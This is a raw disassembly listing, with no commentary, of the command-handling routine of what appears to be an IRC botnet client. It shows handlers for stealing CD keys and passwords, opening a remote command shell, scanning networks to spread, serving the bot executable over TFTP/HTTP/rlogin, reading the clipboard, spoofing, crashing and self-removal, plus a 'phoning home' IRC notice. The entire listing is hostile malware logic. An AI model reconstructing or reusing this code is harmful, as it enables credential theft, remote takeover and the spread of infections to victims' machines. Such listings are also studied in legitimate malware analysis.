test eax, eax
pop ecx
jz loc_404496
push edi ; Str2
push offset aLg ; "lg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404496
push edi ; Str2
push offset aClearlog ; "clearlog"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40447D
push edi ; Str2
push offset aClg ; "clg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40447D
push edi ; Str2
push offset aNetinfo ; "netinfo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404443
push edi ; Str2
push offset aNi ; "ni"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404443
push edi ; Str2
push offset aSysinfo ; "sysinfo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404418
push edi ; Str2
push offset aSi ; "si"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404418
push edi ; Str2
push offset aRemove ; "remove"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4043DE
push edi ; Str2
push offset aRm ; "rm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4043DE
push edi ; Str2
push offset aProcs ; "procs"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4042BB
push edi ; Str2
push offset aPs ; "ps"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4042BB
push edi ; Str2
push offset aGetcdkeys ; "getcdkeys"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40429D
push edi ; Str2
push offset aKey ; "key"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40429D
push edi ; Str2
push offset aUptime ; "uptime"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404215
push edi ; Str2
push offset aUp ; "up"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404215
push edi ; Str2
push offset aDriveinfo ; "driveinfo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4041F8
push edi ; Str2
push offset aDrv ; "drv"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4041F8
push edi ; Str2
push offset aTestdlls ; "testdlls"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4041DF
push edi ; Str2
push offset aDll ; "dll"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4041DF
push edi ; Str2
push offset aOpencmd ; "opencmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4041A0
push edi ; Str2
push offset aOcmd ; "ocmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4041A0
push edi ; Str2
push offset aCmdstop ; "cmdstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4035F5
push dword ptr [ebp+esi+Args]
push 0Ah
push offset aRemoteShell ; "Remote shell"
push offset dword_440D20
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_4035F5: ; CODE XREF: sub_401CC7+1914j
push edi ; Str2
push offset aWho ; "who"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_403712
cmp [ebp+var_8], ebx
jnz short loc_403629
push ebx ; int
push [ebp+var_4] ; int
push offset dword_440D30 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
loc_403629: ; CODE XREF: sub_401CC7+1946j
mov eax, [ebp+arg_18]
mov [ebp+arg_20], ebx
mov [ebp+arg_18], eax
jmp short loc_403637
; ---------------------------------------------------------------------------
loc_403634: ; CODE XREF: sub_401CC7+19BCj
mov eax, [ebp+arg_18]
loc_403637: ; CODE XREF: sub_401CC7+196Bj
cmp [eax], bl
jz short loc_40363E
inc eax
jmp short loc_403643
; ---------------------------------------------------------------------------
loc_40363E: ; CODE XREF: sub_401CC7+1972j
mov eax, offset aEmpty ; "<Empty>"
loc_403643: ; CODE XREF: sub_401CC7+1975j
push eax
lea eax, [ebp+Dst]
push [ebp+arg_20]
push offset aD_S ; "%d. %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add [ebp+arg_18], 80h
add esp, 24h
inc [ebp+arg_20]
cmp [ebp+arg_20], 3
jl short loc_403634
push offset unk_440D54
call sub_415C3F
pop ecx
loc_403690: ; CODE XREF: sub_401CC7+1C4Bj
; sub_401CC7+2F34j
mov eax, dword ptr [ebp+esi+Args]
cmp eax, ebx
mov [ebp+Source], eax
jz loc_402085
push edi ; Str2
push offset aSpoof ; "spoof"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_404CE8
mov esi, [ebp+Source]
push offset Str2 ; "off"
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_404C0D
lea eax, [ebp+Dst]
push offset asc_441298 ; "-"
push eax ; Dest
mov dword_4E68F0, ebx
call _sprintf
pop ecx
pop ecx
loc_4036E8: ; CODE XREF: sub_401CC7+301Cj
cmp [ebp+var_8], ebx
jnz loc_409B16
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
loc_40370A: ; CODE XREF: sub_401CC7+71C1j
add esp, 14h
jmp loc_409B16
; ---------------------------------------------------------------------------
loc_403712: ; CODE XREF: sub_401CC7+193Dj
push edi ; Str2
push offset aGetclip ; "getclip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40415F
push edi ; Str2
push offset aGc ; "gc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40415F
push edi ; Str2
push offset aFlusharp ; "flusharp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404148
push edi ; Str2
push offset aFarp ; "farp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404148
push edi ; Str2
push offset aFlushdns ; "flushdns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404110
push edi ; Str2
push offset aFdns ; "fdns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404110
push edi ; Str2
push offset aCurrentip ; "currentip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4040D6
push edi ; Str2
push offset aCip ; "cip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4040D6
push edi ; Str2
push offset aRloginserver ; "rloginserver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403F9B
push edi ; Str2
push offset aRlogin ; "rlogin"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403F9B
push edi ; Str2
push offset aHttpserver ; "httpserver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403E0F
push edi ; Str2
push offset aHttp ; "http"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403E0F
push edi ; Str2
push offset aTftpserver ; "tftpserver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403CD5
push edi ; Str2
push offset aTftp ; "tftp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403CD5
push edi ; Str2
push offset aCrash ; "crash"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40389E
lea eax, [ebp+Dst]
push offset asc_441084 ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_40387D
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
loc_40387D: ; CODE XREF: sub_401CC7+1B98j
lea eax, [ebp+Dst]
push eax ; Str2
call sub_415C3F
mov [esp+5D98h+var_5D98], offset aCrash_0 ; "crash"
push [ebp+esi+var_7C] ; Str1
call _strcmp
jmp loc_40226E
; ---------------------------------------------------------------------------
loc_40389E: ; CODE XREF: sub_401CC7+1B80j
push edi ; Str2
push offset aScanall ; "scanall"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4039D1
push edi ; Str2
push offset aSa ; "sa"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4039D1
push edi ; Str2
push offset aPhonehome ; "phonehome"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4038F2
lea eax, [ebp+var_C0]
push eax ; Args
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
jmp loc_402143
; ---------------------------------------------------------------------------
loc_4038F2: ; CODE XREF: sub_401CC7+1C10j
push edi ; Str2
push offset aFindpass ; "findpass"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_403918
push edi ; Str2
push offset aFp ; "fp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_403690
loc_403918: ; CODE XREF: sub_401CC7+1C3Aj
push [ebp+Format] ; Format
lea eax, [ebp+var_F54]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_F58], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED0], eax
mov eax, [ebp+var_8]
mov [ebp+var_ECC], eax
push offset asc_441228 ; "-"
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 26h ; int
push eax ; Source
call sub_40B756
add esp, 18h
mov [ebp+var_ED4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F58]
push ebx
push eax
push offset sub_417A8B
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_ED4]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_4039C0
loc_4039AA: ; CODE XREF: sub_401CC7+1CF7j
cmp [ebp+var_EC8], ebx
jnz loc_408637
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4039AA
; ---------------------------------------------------------------------------
loc_4039C0: ; CODE XREF: sub_401CC7+1CE1j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_441250
jmp loc_408628
; ---------------------------------------------------------------------------
loc_4039D1: ; CODE XREF: sub_401CC7+1BE6j
; sub_401CC7+1BFBj
mov al, byte_448402
mov [ebp+Src], ebx
cmp al, bl
mov edx, offset byte_448402
jz loc_402085
mov ecx, edx
loc_4039E8: ; CODE XREF: sub_401CC7+1D29j
inc [ebp+Src]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4039E8
cmp al, bl
jz loc_402085
mov [ebp+arg_18], edx
mov esi, offset a2 ; "#2"
loc_403A02: ; CODE XREF: sub_401CC7+1FF9j
push 0Bh
call sub_40B99E
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+Src]
add eax, ecx
cmp eax, 1F4h
jle short loc_403A51
push ecx
lea eax, [ebp+Dst]
push offset asc_4410B4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 20h
jmp loc_403CB7
; ---------------------------------------------------------------------------
loc_403A51: ; CODE XREF: sub_401CC7+1D55j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_448220, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], 320h
mov [ebp+Src], ebx
jz short loc_403AC2
mov edi, offset dword_448220
loc_403A86: ; CODE XREF: sub_401CC7+1DDDj
mov eax, [ebp+arg_18]
add eax, 0FFFFFFF6h
push eax ; Str2
lea eax, [edi-28h]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_403AA8
inc [ebp+Src]
add edi, 40h
cmp [edi], ebx
jnz short loc_403A86
jmp short loc_403AC2
; ---------------------------------------------------------------------------
loc_403AA8: ; CODE XREF: sub_401CC7+1DD3j
mov eax, [ebp+Src]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_448220[ecx]
mov [ebp+var_74C], ecx
loc_403AC2: ; CODE XREF: sub_401CC7+1DB8j
; sub_401CC7+1DDFj
cmp [ebp+var_74C], ebx
jz loc_403CCB
push 10h
lea eax, [ebp+var_2CC]
pop edi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2CC], edi
push [ebp+arg_4]
call dword_4E309C ; getsockname
mov al, [ebp+var_8FF]
push edi ; Args
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+Count], eax
push [ebp+Count] ; Count
call dword_4E3184 ; inet_ntoa
push eax ; Source
lea eax, [ebp+var_860]
push eax ; Dest
call _strncpy
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h ; Ch
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_860]
push eax ; Str
call _strrchr
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+File+3], bl
jle short loc_403B6A
loc_403B48: ; CODE XREF: sub_401CC7+1EA1j
cmp eax, ebx
jz short loc_403B6A
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h ; Ch
push eax ; Str
call _strrchr
inc byte ptr [ebp+File+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+File+3]
cmp ecx, edi
jl short loc_403B48
loc_403B6A: ; CODE XREF: sub_401CC7+1E7Fj
; sub_401CC7+1E83j
mov eax, [ebp+arg_4]
push [ebp+Format] ; Format
mov [ebp+var_750], eax
mov eax, [ebp+var_4]
mov [ebp+var_728], eax
mov eax, [ebp+var_8]
mov [ebp+var_724], eax
mov edi, 80h
lea eax, [ebp+var_850]
push edi ; Count
push eax ; Dest
mov [ebp+var_720], 1
call __snprintf
push offset byte_4E2FA0 ; Str2
push esi ; Str1
call _strcmp
add esp, 14h
test eax, eax
jz short loc_403BCC
push esi ; Format
lea eax, [ebp+var_7D0]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_403BD2
; ---------------------------------------------------------------------------
loc_403BCC: ; CODE XREF: sub_401CC7+1EF0j
mov [ebp+var_7D0], bl
loc_403BD2: ; CODE XREF: sub_401CC7+1F03j
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_403BE4
mov eax, offset aSequential ; "Sequential"
loc_403BE4: ; CODE XREF: sub_401CC7+1F16j
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+Dst]
push offset asc_441140 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Bh ; int
push eax ; Source
call sub_40B756
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40CB69
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_403C6E
loc_403C5C: ; CODE XREF: sub_401CC7+1FA5j
cmp [ebp+var_71C], ebx
jnz short loc_403C89
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_403C5C
; ---------------------------------------------------------------------------
loc_403C6E: ; CODE XREF: sub_401CC7+1F93j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dst]
push offset asc_4411AC ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_403C89: ; CODE XREF: sub_401CC7+1F9Bj
cmp [ebp+var_8], ebx
jnz short loc_403CAA
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
loc_403CAA: ; CODE XREF: sub_401CC7+1FC5j
lea eax, [ebp+Dst]
push eax
call sub_415C3F
pop ecx
loc_403CB7: ; CODE XREF: sub_401CC7+1D85j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_403A02
jmp loc_402085
; ---------------------------------------------------------------------------
loc_403CCB: ; CODE XREF: sub_401CC7+1E01j
push offset unk_4410F4
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_403CD5: ; CODE XREF: sub_401CC7+1B56j
; sub_401CC7+1B6Bj
push 5
call sub_40B99E
test eax, eax
pop ecx
jle short loc_403CEB
push offset unk_440FEC
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_403CEB: ; CODE XREF: sub_401CC7+2018j
mov eax, dword ptr [ebp+esi+Args]
cmp eax, ebx
jz short loc_403D0E
push eax ; Format
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_403D22
; ---------------------------------------------------------------------------
loc_403D0E: ; CODE XREF: sub_401CC7+202Dj
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi
push eax
push ebx
call ds:dword_4F5344 ; GetModuleFileNameA
loc_403D22: ; CODE XREF: sub_401CC7+2045j
mov esi, [ebp+esi+Format]
cmp esi, ebx
jnz short loc_403D32
mov esi, offset Str ; "nlzhxmpyrjsyle.exe"
loc_403D32: ; CODE XREF: sub_401CC7+2064j
push esi ; Format
lea eax, [ebp+var_2C4C]
push edi ; Count
push eax ; Dest
call __snprintf
mov eax, dword_43F078
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_2B40], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B44], ebx
mov [ebp+var_2D54], eax
lea eax, [ebp+var_2B3C]
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2ABC], eax
mov eax, [ebp+var_8]
mov [ebp+var_2AB8], eax
lea eax, [ebp+var_2D50]
push eax
lea eax, [ebp+Dst]
push [ebp+var_2B40]
push offset asc_44100C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 5 ; int
push eax ; Source
call sub_40B756
add esp, 1Ch
mov [ebp+var_2B48], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D54]
push ebx
push eax
push offset sub_412217
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_2B48]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_403DFE
loc_403DE8: ; CODE XREF: sub_401CC7+2135j
cmp [ebp+var_2AB4], ebx
jnz loc_408506
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_403DE8
; ---------------------------------------------------------------------------
loc_403DFE: ; CODE XREF: sub_401CC7+211Fj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_441040
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_403E0F: ; CODE XREF: sub_401CC7+1B2Cj
; sub_401CC7+1B41j
mov edi, dword ptr [ebp+esi+Args]
cmp edi, ebx
jz short loc_403E2E
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_403E2E
push edi ; Str
call _atoi
pop ecx
jmp short loc_403E33
; ---------------------------------------------------------------------------
loc_403E2E: ; CODE XREF: sub_401CC7+2151j
; sub_401CC7+215Cj
mov eax, dword_43F07C
loc_403E33: ; CODE XREF: sub_401CC7+2165j
mov esi, [ebp+esi+Format]
mov [ebp+var_36C8], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B4], eax
jz short loc_403E66
lea eax, [ebp+var_37CC]
push esi ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_403E91
; ---------------------------------------------------------------------------
loc_403E66: ; CODE XREF: sub_401CC7+218Cj
lea eax, [ebp+FullPath]
push 104h
push eax
call ds:dword_4F5348 ; GetSystemDirectoryA
push ebx ; Ext
push ebx ; Filename
lea eax, [ebp+Drive]
push ebx ; Dir
push eax ; Drive
lea eax, [ebp+FullPath]
push eax ; FullPath
call __splitpath
add esp, 14h
loc_403E91: ; CODE XREF: sub_401CC7+219Dj
lea eax, [ebp+var_37CC]
push eax ; Str
call _strlen
cmp [ebp+eax+var_37CD], 5Ch
pop ecx
jnz short loc_403EBC
lea eax, [ebp+var_37CC]
push eax ; Str
call _strlen
pop ecx
mov [ebp+eax+var_37CD], bl
loc_403EBC: ; CODE XREF: sub_401CC7+21DFj
push [ebp+Format] ; Format
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A54]
mov [ebp+var_3A58], esi
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36B8], eax
lea eax, [ebp+var_37CC]
mov [ebp+var_36BC], edi
push eax
push [ebp+var_36C8]
push esi
call sub_40AF71
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_440F60 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 3 ; int
push eax ; Source
call sub_40B756
add esp, 20h
mov [ebp+var_36C0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A58]
push ebx
push eax
push offset sub_40FB50
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_36C0]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_403F70
loc_403F5E: ; CODE XREF: sub_401CC7+22A7j
cmp [ebp+var_36AC], ebx
jnz short loc_403F8B
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_403F5E
; ---------------------------------------------------------------------------
loc_403F70: ; CODE XREF: sub_401CC7+2295j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset asc_440F9C ; "-"
loc_403F7C: ; CODE XREF: sub_401CC7+240Aj
; sub_401CC7+4D85j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_403F8B: ; CODE XREF: sub_401CC7+229Dj
; sub_401CC7+23EEj ...
cmp [ebp+var_8], ebx
jnz loc_408637
push ebx
push edi
jmp loc_407500
; ---------------------------------------------------------------------------
loc_403F9B: ; CODE XREF: sub_401CC7+1B02j
; sub_401CC7+1B17j
mov edi, dword ptr [ebp+esi+Args]
cmp edi, ebx
jz short loc_403FBA
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_403FBA
push edi ; Str
call _atoi
pop ecx
jmp short loc_403FBF
; ---------------------------------------------------------------------------
loc_403FBA: ; CODE XREF: sub_401CC7+22DDj
; sub_401CC7+22E8j
mov eax, dword_43F080
loc_403FBF: ; CODE XREF: sub_401CC7+22F1j
mov [ebp+var_1824], eax
mov eax, [ebp+esi+Format]
cmp eax, ebx
jnz short loc_403FD6
lea eax, [ebp+var_C0]
loc_403FD6: ; CODE XREF: sub_401CC7+2307j
push eax ; Format
lea eax, [ebp+var_1964]
push 40h ; Count
push eax ; Dest
call __snprintf
mov esi, [ebp+esi+Str2]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403FF8
mov esi, offset dword_4E2F9C
loc_403FF8: ; CODE XREF: sub_401CC7+232Aj
push esi ; Format
lea eax, [ebp+var_1924]
push 100h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_19E4]
push [ebp+Format] ; Format
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1810], eax
lea eax, [ebp+var_1964]
push eax
mov [ebp+var_19E8], esi
push [ebp+var_1824]
mov [ebp+var_1814], edi
push esi
call sub_40AF71
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_440ED4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 9 ; int
push eax ; Source
call sub_40B756
add esp, 20h
mov [ebp+var_1820], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19E8]
push ebx
push eax
push offset sub_4114CE
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1820]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_4040C5
loc_4040AF: ; CODE XREF: sub_401CC7+23FCj
cmp [ebp+var_180C], ebx
jnz loc_403F8B
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4040AF
; ---------------------------------------------------------------------------
loc_4040C5: ; CODE XREF: sub_401CC7+23E6j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_440F10
jmp loc_403F7C
; ---------------------------------------------------------------------------
loc_4040D6: ; CODE XREF: sub_401CC7+1AD8j
; sub_401CC7+1AEDj
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_4040E9
push esi ; Str
call _atoi
jmp short loc_4040F0
; ---------------------------------------------------------------------------
loc_4040E9: ; CODE XREF: sub_401CC7+2418j
push 0Bh
call sub_40B9BD
loc_4040F0: ; CODE XREF: sub_401CC7+2420j
cmp eax, ebx
pop ecx
jz loc_409B16
push eax ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40C0B6
jmp loc_4045A4
; ---------------------------------------------------------------------------
loc_404110: ; CODE XREF: sub_401CC7+1AAEj
; sub_401CC7+1AC3j
mov eax, dword_4E3014
cmp eax, ebx
jz short loc_40412D
call eax ; DnsFlushResolverCache
test eax, eax
jz short loc_404126
push offset unk_440E30
jmp short loc_404132
; ---------------------------------------------------------------------------
loc_404126: ; CODE XREF: sub_401CC7+2456j
push offset unk_440E54
jmp short loc_404132
; ---------------------------------------------------------------------------
loc_40412D: ; CODE XREF: sub_401CC7+2450j
push offset asc_440E80 ; "-"
loc_404132: ; CODE XREF: sub_401CC7+245Dj
; sub_401CC7+2464j ...
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
jmp loc_406F56
; ---------------------------------------------------------------------------
loc_404148: ; CODE XREF: sub_401CC7+1A84j
; sub_401CC7+1A99j
call sub_40AE8D
test eax, eax
jz short loc_404158
push offset unk_440DCC
jmp short loc_404132
; ---------------------------------------------------------------------------
loc_404158: ; CODE XREF: sub_401CC7+2488j
push offset unk_440DF0
jmp short loc_404132
; ---------------------------------------------------------------------------
loc_40415F: ; CODE XREF: sub_401CC7+1A5Aj
; sub_401CC7+1A6Fj
cmp [ebp+var_8], ebx
jnz short loc_40417E
push ebx ; int
push [ebp+var_4] ; int
push offset dword_440D84 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
loc_40417E: ; CODE XREF: sub_401CC7+249Bj
push ebx ; int
push [ebp+var_4] ; int
call sub_418EEF
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
push offset dword_440D9C
jmp loc_404470
; ---------------------------------------------------------------------------
loc_4041A0: ; CODE XREF: sub_401CC7+18EAj
; sub_401CC7+18FFj
push 0Ah
call sub_40B99E
test eax, eax
pop ecx
jle short loc_4041B6
push offset unk_440C94
jmp loc_4098C3
; ---------------------------------------------------------------------------
loc_4041B6: ; CODE XREF: sub_401CC7+24E3j
push [ebp+Format]
push [ebp+arg_4]
call sub_41AB45
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4041D5
push offset unk_440CC0
jmp loc_4098C3
; ---------------------------------------------------------------------------
loc_4041D5: ; CODE XREF: sub_401CC7+2502j
push offset unk_440CE8
jmp loc_4098C3
; ---------------------------------------------------------------------------
loc_4041DF: ; CODE XREF: sub_401CC7+18C0j
; sub_401CC7+18D5j
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40AA90
jmp loc_402082
; ---------------------------------------------------------------------------
loc_4041F8: ; CODE XREF: sub_401CC7+1896j
; sub_401CC7+18ABj
push dword ptr [ebp+esi+Args] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_41779D
jmp loc_402082
; ---------------------------------------------------------------------------
loc_404215: ; CODE XREF: sub_401CC7+186Cj
; sub_401CC7+1881j
or edi, 0FFFFFFFFh
call ds:dword_4F537C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
mov [ebp+Src], eax
jz short loc_40423E
push esi ; Str
call _atoi
pop ecx
mov edi, eax
loc_40423E: ; CODE XREF: sub_401CC7+256Cj
mov eax, [ebp+Src]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_404257
cmp edi, 0FFFFFFFFh
jnz loc_409B16
loc_404257: ; CODE XREF: sub_401CC7+2585j
push ebx
call sub_41B76F
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_440C4C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
lea eax, [ebp+Dst]
push eax
call sub_415C3F
loc_404295: ; CODE XREF: sub_401CC7+531Dj
add esp, 24h
jmp loc_409B16
; ---------------------------------------------------------------------------
loc_40429D: ; CODE XREF: sub_401CC7+1842j
; sub_401CC7+1857j
push [ebp+var_4]
push [ebp+Format]
push [ebp+arg_4]
call sub_416591
add esp, 0Ch
push offset dword_440C20
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_4042BB: ; CODE XREF: sub_401CC7+1818j
; sub_401CC7+182Dj
push 27h
call sub_40B99E
test eax, eax
pop ecx
jle short loc_4042EF
cmp [ebp+var_8], ebx
jnz loc_402085
push ebx ; int
push [ebp+var_4] ; int
push offset unk_440B90 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
loc_4042E7: ; CODE XREF: sub_401CC7+72E0j
add esp, 14h
jmp loc_402085
; ---------------------------------------------------------------------------
